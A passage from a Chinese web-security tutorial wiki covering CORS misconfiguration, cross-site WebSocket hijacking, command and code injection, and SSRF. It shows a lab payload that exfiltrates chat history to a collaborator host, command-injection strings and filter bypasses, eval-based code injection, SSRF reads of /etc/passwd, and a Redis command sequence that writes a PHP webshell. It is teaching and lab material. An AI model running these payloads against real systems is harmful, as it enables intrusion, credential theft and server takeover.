白名单.只有”预检”通过后才会再发送一次请求用于数据传输. 在跨域请求中,浏览器会对请求进行检查并根据是否是简单跨域请求采取不同的处理方式. 简单跨域请求,浏览器会直接发送请求,不做其他验证. 非简单跨域请求,浏览器会进行预检验证的过程. CORS运行机制 浏览器发送请求时,会自动在请求头中添加Origin字段,其中包含了请求来源的域名信息. 服务器通过验证Origin字段来判断是否允许请求访问,从而实现浏览器的跨源访问. CORS漏洞: 浏览器自动在HTTP请求头中加上Origin字段. 服务器通过判断Origin字段的值来决定是否允许读取本站资源,以防止跨站请求伪造(CSRF)等安全问题. 字段解释: Access-Control-Allow-Origin:该字段是必需的,它的值可以是请求时Origin字段的值,或者是一个通配符_,表示接受任意域名的请求. Access-Control-Allow-Credentials:该字段是可选的,它的值是一个布尔值,用于表示是否允许发送Cookie.默认情况下,CORS请求不会携带Cookie.当设置为true时,表示服务器明确允许在请求中携带Cookie. Access-Control-Expose-Headers:该字段是可选的,用于指定在CORS请求中可以访问的除了基本字段之外的其他自定义头部信息.默认情况下,XMLHttpRequest对象的getResponseHeader()方法只能获取到基本字段的值.通过在该字段中指定自定义头部信息,服务器可以让客户端能够访问到这些额外的头部信息. 复现过程服务器端123456<?php// 设置HTTP响应头部,允许所有域名进行跨域请求header("Access-Control-Allow-Origin:*");// 输出包含用户名和密码的字符串echo "username: admin; password:123456";?> attack123456789101112131415161718192021222324<!DOCTYPE><html><h1>Hello I evil page</h1><script type="text/javascript">function loadXMLDoc(){ var xhr = new XMLHttpRequest(); xhr.onreadystatechange=function() { if(xhr.readyState == 4 && xhr.status == 200) //if receive xhr response { var datas=xhr.responseText; alert(datas); } } //request vuln pagexhr.open("GET","http://172.16.4.192/2.php","true") xhr.send();}loadXMLDoc();</script></html> 12345678910111213141516171819202122<!DOCTYPE> <!-- 缺少了doctype后面应该跟的文档类型,比如 html --><html> <!-- HTML文档的根元素开始 --><h1>Hello I evil page</h1> <!-- 一个h1标题,表明页面的内容可能有恶意 --><script type="text/javascript"> <!-- JavaScript脚本开始 -->function loadXMLDoc() // 定义了一个函数loadXMLDoc{ var xhr = new XMLHttpRequest(); // 创建一个新的XMLHttpRequest对象 xhr.onreadystatechange=function() // 定义当请求的状态变化时调用的函数 { if(xhr.readyState == 4 && xhr.status == 200) // 如果请求完成且响应状态为200(OK) { var datas=xhr.responseText; // 从响应中获取文本数据 alert(datas); // 将响应文本显示在一个警告框中 } } // 请求外部页面,可能是一个存在安全问题的页面 xhr.open("GET","http://172.16.4.192/2.php","true") // 初始化一个GET请求 xhr.send(); // 发送请求}loadXMLDoc(); // 调用函数,执行上述定义的请求过程</script> <!-- JavaScript脚本结束 --></html> <!-- HTML文档的根元素结束 --> html代码的意思是通过XMLHttpRequest访问URL地址,然后将获取到的内容alert出来. websocket跨域劫持基础概念 ​\tWebSocket协议是OSI模型应用层的一种协议,它能够在客户端(浏览器)和Web服务器之间以全双工(一种信息可以在两个方向同时循环的通信通道)进行通信.简而言之,它允许创建实时Web应用程序,比如即时消息聊天. WebSocket技术提升了通信效率,解决了半双工导致的通信延迟问题,即传统上一次只能单向通信.与通常通过HTTP协议的客户端-服务器模型不同,客户端发送请求并等待服务器响应的单个事务模式,WebSocket建立的是持续连接,允许多个请求/响应在同一事务内流转.关键优势是服务器能够主动发送数据,而不需要客户端先发起请求. 下图说明了WebSocket如何工作(从连接到通信) https://www.swoole.com/https://www.swoole.com/ 12345678910111213141516171819202122232425262728293031323334<?php// 创建一个新的WebSocket服务器实例,监听0.0.0.0的9502端口$server = new Swoole\\WebSocket\\Server("0.0.0.0", 9502);// 注册'open'事件回调函数,当新的WebSocket连接打开时触发$server->on('open', function (Swoole\\WebSocket\\Server $server, $request) { // 打印新连接的信息,$request->fd 是客户端的文件描述符 echo "New connection: #{$request->fd} ";});// 注册'message'事件回调函数,当服务器接收到来自客户端的消息时触发$server->on('message', function (Swoole\\WebSocket\\Server $server, $frame) { // 打印收到的消息和发送者的文件描述符 echo "Received message from #{$frame->fd}: {$frame->data} "; // 遍历所有已建立连接的客户端 foreach ($server->connections as $fd) { // 检查这个连接不是消息发送者本身,且连接是已经建立的 if ($fd !== $frame->fd && $server->isEstablished($fd)) { // 给其他所有客户端推送接收到的消息 $server->push($fd, $frame->data); } }});// 注册'close'事件回调函数,当WebSocket连接关闭时触发$server->on('close', function ($server, $fd) { // 打印关闭连接的客户端文件描述符 echo "Connection closed: #{$fd} ";});// 启动WebSocket服务器$server->start(); 可能的攻击和安全风险WebSockets 提供了全双工通信渠道,适于实时应用程序如即时消息传递.但是,它不内置任何特定的安全措施,导致可能存有与HTTP类似的安全漏洞. 以下是可能面临的一些主要安全问题: 身份验证机制缺失 - WebSocket本身不提供身份验证机制,通常需要利用cookies、JWT或HTTP身份验证来实现.在安全测试中,应确认是否有身份验证系统,并且是否正确实现. 授权问题 - WebSocket没有内置的授权管理系统,使得攻击者可能通过提升权限或访问其他用户数据进行攻击.访问控制应该在测试中被详尽地评估. 数据传输风险 - WebSocket数据传输默认不加密,类似HTTP,可能受到中间人攻击.应当使用WebSocket Secure(wss)并通过TLS加密数据. 跨站点WebSocket劫持(CSWH) - 类似于CSRF攻击,WebSocket可能受到跨站点劫持,特别是当身份认证基于cookies时.必须在握手请求中为每个会话添加难以预测的唯一令牌以防止此类攻击. 为确保WebSocket通信的安全,应实施综合的安全策略,包括有效的身份验证、授权检查、输入清理和使用加密通道. 复现过程手动使用Burp Collaborator的大致流程是: 生成Collaborator有效负载,它们是Collaborator服务器域的子域. 将有效负载插入到请求中并将请求发送到目标应用程序. 轮询Collaborator服务器,查看应用程序是否使用注入的有效负载与任何网络服务交互. https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking/labhttps://portswigger.net/web-security/websockets/cross-site-websocket-hijacking/lab 点击”实时聊天”并发送聊天消息. 刷新页面. 在Burp Proxy的WebSockets历史记录选项卡中,观察到READY命令从服务器检索过往的聊天消息. 在Burp Proxy的HTTP历史记录选项卡中,找到WebSocket握手请求.注意到请求中没有CSRF令牌. 右键点击握手请求并选择”复制URL”. 在浏览器中,点击Go to exploit server并将以下模板粘贴到”正文”部分: 123456789<script> var ws = new WebSocket('wss://0a4b001903a78d00830983880084004a.web-security-academy.net/chat'); ws.onopen = function() { ws.send("READY"); }; ws.onmessage = function(event) { fetch('https://gscvabn1ekkskohh354x4glbv21tpjd8.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data}); };</script> 123456789101112131415161718192021<script> // 创建一个新的WebSocket连接,将URL替换成目标WebSocket握手的URL var ws = new WebSocket('wss://your-websocket-url'); // 当WebSocket连接成功打开后触发 ws.onopen = function() { // 向WebSocket服务器发送"READY"命令以请求聊天历史记录 ws.send("READY"); }; // 当WebSocket接收到服务器发来的消息时触发 ws.onmessage = function(event) { // 使用fetch API向攻击者的服务器发送请求,将接收到的消息作为POST请求的内容 // 这一步实际上是将窃取到的数据"汇报"给攻击者 fetch('https://your-collaborator-url', { method: 'POST', // 使用POST方法 mode: 'no-cors', // 无需跨域资源共享(CORS)的预检请求 body: event.data // 消息数据作为请求的主体 }); };</script> 将你的WebSocket URL替换为WebSocket握手的URL(your-lab-id.web-security-academy.net/chat).确保你把协议从https://更改为wss://.将你的Collaborator URL替换为由Burp Collaborator客户端生成的有效载荷. ​ collaborator通常指的是一个协作工具或服务,它可用于帮助发现和诊断远程的、可能不易观察的安全漏洞.这类工具经常在渗透测试和安全评估中使用,其工作原理通常涉及监听并记录外部系统发起的DNS查询、HTTP请求和其他网络活动. ​ 例如:在用于安全测试的工具Burp Suite中,Burp Collaborator可以用来检测盲注的服务端安全漏洞,例如:盲注SQL注入、盲注命令注入、服务器端请求伪造(SSRF)等.当应用程序在处理用户的输入时引发了一个到Collaborator服务器的后台HTTP请求或DNS查询,这可能表明存在一个漏洞点,因为数据被发送到了控制者(即安全测试人员)的服务器. 用Burp Suite中的Collaborator工具检查是否有请求发来,以此来确认你的攻击是否成功获取了聊天记录,并且这些记录是否被发送到了Collaborator. 对于聊天中的每一条消息,Collaborator都会接收到一个HTTP请求,这些请求包含JSON格式的聊天内容,但消息顺序可能是错的. 返回到攻exploit server,点击Deliver exploit to victim按钮. 再次用Collaborator工具检查,这次你会看到更多包含受害者聊天记录的请求. 在这些消息中找到受害者的用户名和密码. 使用刚才找到的用户名和密码登录受害者的账户."},{"title":"十一. RCE","path":"/wiki/VulnerabilityInsightDocs/十一. RCE.html","content":"总字符数: 10.96K 代码: 4.48K, 文本: 4.01K 预计阅读时间: 37 分钟 命令执行漏洞信息漏洞原理应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、 passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令. 拼接到正常命令中,从而造成命令注入攻击,这就是命令注入漏洞. 利用条件 应用调用执行系统命令的函数 将用户输入作为系统命令的参数拼接到了命令行中 没有对用户输入进行过滤或过滤不严 漏洞分类 命令直接注入执行漏洞 应用程序直接使用了危险的可执行系统命令的函数,比如php的system、exec函数等,并且这些函数的运行参数是用户可控的,若过滤不严格,就会增大命令执行漏洞的概率.命令本地包含执行漏洞.(注:(CGI)系统命令注入执行漏洞示例,就比如Bash漏洞,就属于这类漏洞,用户可以直接更改HTTP头user-agent的值,就可引发命令注入.) 命令包含执行漏洞 命令本地/远程包含漏洞:应用程序直接包含或执行了用户可控的上传脚本文件或远程文件(URL引用文件),就会触发此漏洞. 命令反序列执行漏洞 有些动态脚本语言,如php支持实例对象的序列化传输,然后服务端将实例对象反序列化出来并执行解析后实例的构造函数、析构函数或_wakeup()函数,若这些函数利用了用户可控的参数,则会触发命令/代码注入执行漏洞,原理和之前直接注入一样. 命令动态变量执行漏洞 有些动态脚本语言,如php,支持变量或函数的动态定义,即运行时可通过参数名来动态组装变量、变量值或函数.若代码中包含有类似代码,就会存在动态变量/函数的执行漏洞. 漏洞危害继承Web服务程序的权限去执行系统命令或读写文件 反弹shell 控制整个网站甚至控制服务器 进一步内网渗透 控制受害主机:攻击者可以通过RCE攻击远程控制受害主机,执行任意操作. 窃取敏感信息:攻击者可以利用RCE攻击窃取受害主机上的敏感信息,如密码、银行账户等. 破坏数据:攻击者可以利用RCE攻击破坏受害主机上的数据,如删除文件、格式化硬盘等. 传播恶意代码:攻击者可以利用RCE攻击在受害主机上安装恶意软件,从而进行更多的攻击. 滥用系统权限:攻击者可以利用RCE攻击获取受害主机上的系统权限,从而进行更多的攻击和滥用. 防范措施防止远程命令执行漏洞是一项关键任务,可以通过以下方法来实现: (1)输入数据过滤和验证:应用程序应该对所有输入数据进行充分的过滤和验证,包括但不限于用户输 入、文件上传、cookie等. (2)使用安全的编程语言和框架:使用安全的编程语言和框架可以帮助开发人员避免常见的安全漏洞. (3)最小化应用程序权限:应用程序应该以最低的权限运行,这可以减少攻击者获取服务器或系统的控制 权的可能性. (4)定期更新和修补程序:定期更新和修补程序可以帮助消除安全漏洞,包括远程命令执行漏洞. (5)使用Web应用程序防火墙:Web应用程序防火墙可以帮助检测和阻止恶意流量,包括远程命令执行漏洞攻击 (6)限制外部访问:限制外部访问可以帮助保护Web应用程序免受未经授权的访问和攻击. (7)日志和监控:记录和监控应用程序的所有操作可以帮助发现安全漏洞和恶意行为,以及对应应急响 应. (8)加密和认证:使用加密和认证机制可以帮助保护应用程序的数据免受未经授权的访问和窃取. (9)安全开发实践:开发人员应该遵循安全开发实践,包括但不限于安全代码审查、安全测试、安全培训 等. 常见连接符(管道符)windows系统支持的连接符 连接符 含义 | 直接执行后面的语句,例如 ping 127.0.0.1:whoami || 如果前面执行的语句出错,才执行后面的语句,所以前面的语句必须为假.例如 ping 127.0.0.1 & whoami & 前面的语句不管是真还是假都执行后面的语句.例如 ping 127.0.0.1 & whoami && 如果前面的语句为假则直接出错,也不执行后面的语句,只有前面的语句为真才行. 例如 ping 127.0.0.1 && whoami Linux系统支持的连接符 连接符 含义 ; 执行前面的语句才会执行后面的语句.例如:ping 127.0.0.1;whoami | 直接执行后面的语句.例如:ping 127.0.0.1|whoami || 如果前面执行的语句出错,才执行后面的语句,所以前面的语句必须为假.例如 ping 127.0.0.1 || whoami & 前面的语句不管是真还是假都执行后面的语句.例如: ping 127.0.0.1 & whoami && 如果前面的语句为假则直接出错,也不执行后面的语句,只有前面的语句为真才行.例如: ping 127.0.0.1 && whoami 常见命令执行的函数php执行系统命令有 6 个函数: 命令 说明 exec() 允许执行一个外部程序(如UNIX Shell/Linux Shell 或CMD命令等) system() 允许执行一个外部程序并回显输出,类似于passthru() passthru() 允许执行一个外部程序并回显输出,类似于exec() popen() 可通过popen()的参数传递一条命令,并对popen()所打开的文件进行执行 proc_open() 执行一个命令并打开文件指针用于读取以及写入 shell_exec() 通过Shell执行命令,并将执行结果作为字符串返回 system()12345[root@centos7 html]# vim system.php<?php $test = "id"; $last = system($test);?> 执行系统命令,有回显 passthru()1234<?php $test = "id"; passthru($test);?> 执行系统命令并且显示原始输出 shell_exec()1shell_exec(string $cmd): string) 通过shell环境执行命令,并且将完整的输出以字符串形式返回(无回显) exec()12345<?php $test = $_POST['c']; //id 是 linux 下的用于显示用户的 ID,以及所属群组的 ID exec($test,$array); //执行命令 print_r($array);?> 执行一个外部程序, 同时无回显,且输出的时候仅返回命令的最后一行 反引号1echo `ls`; 只要在反引号里的字符串都会被当作代码执行,注意如果反引号在单、双引号内则不起作用 漏洞复现低级我们对命令注入漏洞进行一个初步利用 让我们先执行一段命令,在输入框输入127.0.0.1,点击submit提交 可以看到成功回显执行结果,说明ping 127.0.0.1命令成功.然后尝试构造payload127.0.0.1|whoami 我们再输入框输入127.0.0.1&whoami,点击submit提交,可以看到不仅ping命令成功执行,并且后面的whoami命令也成功执行. 123456789101112131415161718192021222324252627if( isset( $_POST[ 'Submit' ] ) ) { // 获取输入的内容 $target = $_REQUEST[ 'ip' ]; // 判断操作系统,执行ping命令 if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows 下直接拼接用户输入的内容 // 比如上方我们输入的127.0.0.1|whoami // 下方的代码就是 // $cmd = shell_exec( 'ping ' . 127.0.0.1|whoami ); // $cmd = shell_exec( 'ping 127.0.0.1|whoami' ); // shell_exec (PHP 4, PHP 5, PHP 7) // shell_exec - 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回. // 说明: shell_exec ( string $cmd ) : string // 参数 cmd:要执行的命令 // 返回值:命令执行的输出. 如果执行过程中发生错误或者进程不产生输出,则返回 NULL. $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // 返回命令执行的结果 echo "<pre>{$cmd}</pre>";} 中级1234567891011121314// 设置危险字符的数组$substitutions = array( '&&' => '', ';' => '',);/* str_replace ( $search, $replace, $subject ) : 该函数返回一个字符串或者数组.该字符串或数组是将 subject 中全部的 search 都被 replace 替换之后的结果 search 查找的目标值,也就是 needle.一个数组可以指定多个目标. replace search 的替换值.一个数组可以被用来指定多重替换. subject 执行替换的数组或者字符串.也就是 haystack. 如果 subject 是一个数组,替换操作将遍历整个 subject,返回值也将是一个数组.*/// 将危险字符替换为空$target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 通过源代码分析可以知道并没有过滤|,所以还是可以通过|来绕过 高级123456789101112131415// 定义危险数组$substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '',);// 将危险字符替换为空$target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 高级就特别有意思了,它类似于CTF故意给你留下了一个bug看你能不能发现,其实我们可以看到|旁边有个空格,所以只要我们的Payload |和两边的命令没有空格就不会被替换 不可能1234567891011121314151617181920212223242526272829303132333435363738394041424344if( isset( $_POST[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $target = $_REQUEST[ 'ip' ]; /* stripslashes ( string $str ) 反引用一个引用字符串. return: 返回一个去除转义反斜线后的字符串(\\' 转换为 ' 等等).双反斜线(\\\\)被转换为单个反斜线(\\) */ $target = stripslashes( $target ); // explode - 使用一个字符串分割另一个字符串 // 以.为分割字符将IP分为四部分 $octet = explode( ".", $target ); // 检查每个八进制是否为整数 if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) { // 如果4个八进制都是整数,把IP放回去. $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } else { // 返回IP错误 echo '<pre>ERROR: You have entered an invalid IP.</pre>'; }}// Generate Anti-CSRF tokengenerateSessionToken(); 以上也属于一种措施,但是真正的业务中会产生无法ping域名的情况,可能会对正常的业务造成一定的损失 代码执行漏洞信息漏洞原理 远程命令执行漏洞的本质是输入数据未经过充分的验证和过滤,攻击者可以通过输入特定的恶意数据来执行任意代码.这通常是由于应用程序或服务器的代码实现中存在漏洞,使得攻击者可以利用该漏洞来执行任意代码. 攻击者可以利用多种技术来执行远程命令执行漏洞攻击,包括但不限于: 操作系统命令注入:攻击者通过输入操作系统命令来执行恶意代码,例如Linux系统中的”shell”命令. SQL注入:攻击者通过输入SQL语句来执行恶意代码,例如向Web应用程序中的数据库查询语句注入代码. 文件包含:攻击者通过在Web应用程序中包含恶意文件来执行恶意代码,例如通过包含PHP文件来执 行PHP代码. 反序列化漏洞:攻击者通过利用应用程序中的反序列化功能来执行恶意代码. 代码注入:攻击者通过向Web应用程序中注入恶意代码来执行代码. 漏洞危害或者获取敏感数据,控制服务器,甚至发起更加危险的攻击. 数据泄露:攻击者可以利用RCE攻击来窃取服务器上的敏感数据,如用户账号密码、数据库信息等. 破坏服务器:攻击者可以利用RCE攻击来破坏服务器的配置,如删除系统文件、更改系统设置等. 发起DDoS攻击:攻击者可以利用RCE攻击在目标服务器上安装僵尸程序,并将其作为攻击工具发起 DDoS攻击,使服务器无法正常运行. 漏洞防御为了防止RCE攻击,应该采取以下措施: 及时更新系统和应用程序,修复已知漏洞. 使用防火墙和入侵检测系统(IDS)等安全工具,及时检测和防范攻击. 对输入的数据进行严格过滤和验证,避免输入参数被解析为可执行代码. 限制应用程序的执行权限,将应用程序运行在最小权限的用户下. 禁止使用明文密码和弱口令,采用强密码策略. 启用日志记录,及时发现和排查异常行为. 代码注入攻击与命令注入攻击不同.因为需求设计,后台有时候需要把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞.不管是使用了代码执行的函数,还是使用了不安全的反序列化等等. 通过代码注入或远程代码执行(RCE),攻击者可以通过注入攻击执行恶意代码、向网站写webshell、控制整个网站甚至服务器.其实际危害性取决于服务器端解释器的限制(例如,PHP,Python等).在某些情况下,攻击者可能能够从代码注入升级为命令注入. 通常,代码注入容易发生在应用程序执行却不经过验证代码的情况下.以下是带有代码注入错误的示例PHP应用程序的源代码. 12345678910/*** 从get方法得到代码*/$code = $_GET['code'];/*** 不安全地执行代码* 例子 - phpinfo();*/eval($code); 根据上面的示例,攻击者可以使用以下结构来执行任意PHP代码.结果是显示出PHP信息页面. 1http://example.com/?code=phpinfo(); Payload:system('whoami'); 命令执行漏洞与代码执行漏洞的区别命令执行漏洞:直接调用操作系统命令命令执行漏洞原理:在操作系统中,”&、| 、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令. 代码执行漏洞:靠执行脚本代码调用操作系统命令应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、assert、shell_exec、passthru、popen、proc_open、escapeshellcmd、pcntl_exec等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行漏洞,这就是命令执行漏洞.以上函数主要也在webshell中用的多,实际上在正常应用中差别不太大,用得最多的还是前三个. 常用危险函数PHP12345678910111213141516171819202122232425262728293031# 函数调用注入和命令执行漏洞# 函数调用注入eval() // 把字符串作为PHP代码执行assert() // 检查一个断言是否为 FALSE,可用来执行代码preg_replace() // 执行一个正则表达式的搜索和替换call_user_func() // 把第一个参数作为回调函数调用call_user_func_array() // 调用回调函数,并把一个数组参数作为回调函数的参数array_map() // 为数组的每个元素应用回调函数# 动态函数$a($b)# 由于PHP的特性,PHP的函数支持直接由拼接的方式调用,这直接导致了PHP在安全上的控制有加大了难度.不少知名程序中也用到了动态函数的写法,这种写法跟使用`call_user_func()`的初衷一样,用来更加方便地调用函数,但是一旦过于不严格就会造成代码执行漏洞.# 举例:不调用`eval()`<?phpif(isset($_GET['a'])){ $a = $_GET['a']; $b = $_GET['b']; $a($b);} else { echo "?a=assert&amp;b=phpinfo()";}# 命令执行漏洞system() // 执行外部程序,并且显示输出exec() // 执行一个外部程序shell_exec() // 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回passthru() // 执行外部程序并且显示原始输出pcntl_exec() // 在当前进程空间执行指定程序popen() // 打开进程文件指针proc_open() // 执行一个命令,并且打开用来输入/输出的文件指针 java1java.lang.Runtime.getRuntime.exec(command) 在Java中,虽然没有像PHP的eval函数一样直接执行字符串的函数,但是反射机制和表达式引擎等功能依然会带来安全隐患.下面简要介绍一下这些概念: 反射机制(Reflection): Java的反射机制允许在运行时检查、获取和操作类、接口、字段、方法等类的信息.通过反射,可以动态创建对象、调用方法、获取字段值等,这给了攻击者一定的可操作性.在使用反射时,应该确保对输入进行充分验证和过滤,避免不当操作. OGNL(Object-Graph Navigation Language): OGNL是一种表达式语言,用于导航和操作对象图.它常被用于在Struts2等框架中进行数据绑定和表达式求值.攻击者可能通过构造恶意的OGNL表达式来执行任意代码,因此在使用OGNL时需要做好输入验证. SpEL(Spring Expression Language): SpEL是Spring框架中的表达式语言,用于在运行时进行查询和操作对象图.和OGNL类似,攻击者可能通过构造恶意的SpEL表达式来执行任意代码.在使用SpEL时应当谨慎处理用户输入. MVEL: MVEL是一种类似OGNL和SpEL的表达式语言,也用于在运行时进行动态表达式求值.同样,需要注意防范恶意输入,避免代码执行风险. python12345exec(string) # Python代码的动态执行eval(string) # 返回表达式或代码对象的值execfile(string) # 从一个文件中读取和执行Python脚本input(string) #Python2.x 中 input() 相等于 eval(raw_input(prompt)) ,用来获取控制台的输入compile(string) # 将源字符串编译为可执行对象 1234system() #执行系统指令popen() #popen()方法用于从一个命令打开一个管道subprocess.call #执行由参数提供的命令spawn #执行命令"},{"title":"十. SSRF服务端请求伪造","path":"/wiki/VulnerabilityInsightDocs/十. SSRF服务端请求伪造.html","content":"总字符数: 30.05K 代码: 19.97K, 文本: 4.18K 预计阅读时间: 1.75 小时 ssrf 漏洞简介SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造特殊形成的请求,并且由指定服务器端发起恶意请求的一个安全漏洞. 由于业务运行的服务器处于内外网边界,并且可通过利用当前的这台服务器,根据所在的网络访问到与外部网络隔离的内网应用,所以一般情况下,SSRF漏洞的攻击目标是攻击者无法直接访问的内网系统. SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能而没有对目标地址做过滤和限制. 例如,黑客操控服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等,利用的就是服务端请求伪造,SSRF漏洞可以利用存在缺陷的WEB应用作为代理.攻击远程和本地的服务器. SSRF的危害 扫描内网(主机、端口) 向内部任意主机的任意端口发送精心构造的payload 攻击内网的Web应用 读取任意文件 ssrf 漏洞常见功能点(漏洞常见出没的位置) 社交分享功能 获取超链接的标题等内容进行显示 转码服务 通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览 在线翻译 给网址翻译对应网页的内容 图片加载/下载 例如富文本编辑器中的点击下载图片到本地、通过URL地址加载或下载图片 图片/文章收藏功能 主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验 云服务厂商 它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试 网站采集,网站抓取的地方 一些网站会针对你输入的url进行一些信息采集工作 数据库内置功能 数据库的比如mongodb的copyDatabase函数 邮件系统 比如接收邮件服务器地址 编码处理、属性信息处理,文件处理 比如ffpmg,ImageMagick,docx,pdf,xml处理器等 未公开的api实现以及其他扩展调用URL的功能 可以利用google语法加上这些关键字去寻找SSRF漏洞.一些的url中的关键字有 share wap url link src source target 3g u display sourceURl imageURL domain 从远程服务器请求资源 ssrf 常见函数file_get_contents https://www.php.net/manual/zh/function.file-get-contents.phphttps://www.php.net/manual/zh/function.file-get-contents.php 12345<?php$url = $_GET['url'];# file_get_contents()函数是用来将文件的内容读入到一个字符串中的首选方法.echo file_get_contents($url);?> fsockopen https://www.php.net/manual/zh/function.fsockopen.phphttps://www.php.net/manual/zh/function.fsockopen.php 123456789101112131415161718<?php$host=$_GET['url'];# fsockopen() 函数打开一个网络连接或者一个Unix套接字连接$fp = fsockopen($host, 80, $errno, $errstr, 30);if (!$fp) { echo "$errstr ($errno) ";} else { $out = "GET / HTTP/1.1\\r "; $out .= "Host: $host\\r "; $out .= "Connection: Close\\r \\r "; fwrite($fp, $out); while (!feof($fp)) { echo fgets($fp, 128); } fclose($fp);}?> curl_exec() https://www.php.net/manual/en/function.curl-exec.phphttps://www.php.net/manual/en/function.curl-exec.php 12345678910111213<?php if (isset($_GET['url'])){ $link = $_GET['url']; # curl_exec()执行一个 curl 会话 $curlobj = curl_init(); // 创建新的 cURL 资源 curl_setopt($curlobj, CURLOPT_POST, 0); curl_setopt($curlobj,CURLOPT_URL,$link); curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项 $result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器 curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源 echo $result;}?> SoapClient() https://www.php.net/manual/en/class.soapclient.phphttps://www.php.net/manual/en/class.soapclient.php 123456789// ssrf.php<?php# SoapClient() 类为SOAP 1.1,SOAP 1.2服务器提供客户端.它可以在 WSDL 或非 WSDL 模式下使用.$a = new SoapClient(null,array('uri'=>'http://47.xxx.xxx.72:2333', 'location'=>'http://47.xxx.xxx.72:2333/aaa'));$b = serialize($a);echo $b;$c = unserialize($b);$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf?> SSRF漏洞的验证 因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器发送的,从而来判断是否存在SSRF漏洞. 在页面源码中查找访问的资源地址 ,如果该资源地址类型为www.baidu.com/xxx.php?image=地址的就可能存在SSRF漏洞 ssrf漏洞利用123456789101112<?php # ssrf测试代码 error_reporting(0); highlight_file(__FILE__); $url=$_GET['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result);?> http/https协议当前应用获取用户传递过来的url参数后端发送请求,并且将最终的请求结果返回到html前端页面. 12http://192.168.64.149/ssrf.php?url=http://www.baidu.comhttp://192.168.64.149/ssrf.php?url=https://www.baidu.com 但这里需要注意的一点是,当前网站页面返回的内容并非是从当前用户pc端浏览器发送的,而是,服务器端接收到客户端传递过来的url参数,然后在后端服务器代码中通过构造请求发送,最终将结果返回到前端,如果在这里用户传递的是一个内网应用的ip,当前返回的结果: ssrf漏洞服务器所在的内网大小,互通的网段,限制了当前能够获取到资源的数量.如果当前服务器端对请求资源的协议做了限制,那么可以通过https协议进行绕过. 7.2 file协议如果服务器端对请求资源所使用的协议方式没有进行限制,那么就可以通过file协议访问当前服务器的本地文件 12http://192.168.11.135/ssrf.phpurl=file:///etc/passwd 7.3 dict协议通过dict 协议可以远程访问一个指定的tcp 端口,并且会返回端口所提供的服务的部分组件信息当目标端口开放(有服务信息显示,但会报错): 12345http://192.168.64.138/post.php# post\turl=dict://127.0.0.1:6379# gethttp://192.168.64.138/post.php?url=dict://127.0.0.1:6379 当目标端口关闭(无其他回显): 123http://192.168.64.138/post.php# post\turl=dict://127.0.0.1:6379 通过差异的对比,可确认内网端口开放情况 思考:实际干活时,ssrf漏洞该怎么利用来探测内网网段、开放端口及端口服务? gopher 协议Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议.当然现在 Gopher 协议已经慢慢淡出历史.Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用.利用此协议可以攻击内网的FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求.这无疑极大拓宽了 SSRF 的攻击面.利用gopher协议getshell使用ssrf漏洞结合gopher协议攻击内网redis 写一句话木马使用ssrf漏洞将gopher攻击语句传递到内网redis主机 Redis: 是一个key-value型数据库,信息以键对应值的关系储存在内存中,而它算不上是一个真正的数据库,因为 redis 是主要把信息数据存储在内存中(当然也可以把其存储在硬盘上,这也是写shell的必要条件之一).Redis将数据主要保存在内存中,我们可以随时执行save命令将当前的redis数据保存到硬盘上.另外redis也会根据配置自动存储数据到硬盘上,这不得不说到redis的 持久化运作方案,其中说到的一个RDB,一个AOF.RDB更像一个数据库备份文件,而AOF是一个log日志文件.我们可以设置让redis再指定时间、指定更改次数时进行备份,生成RDB文件;而设置AOF,可以在操作或时间过程后将”日志”写入一个文件的最末,当操作越来越多,则AOF文件越来越大.二者是相辅相成的,通过二者的配合我们能够稳定地持久地将数据存储于服务器上. 先构造攻击语句 12345_flushallset x " <?php eval($_POST['redis']);?> "config set dir /var/www/htmlconfig set dbfilename shell.phpsave 命令分析: 命令行 释义 _flushall 清除数据库中的所有数据和keys set 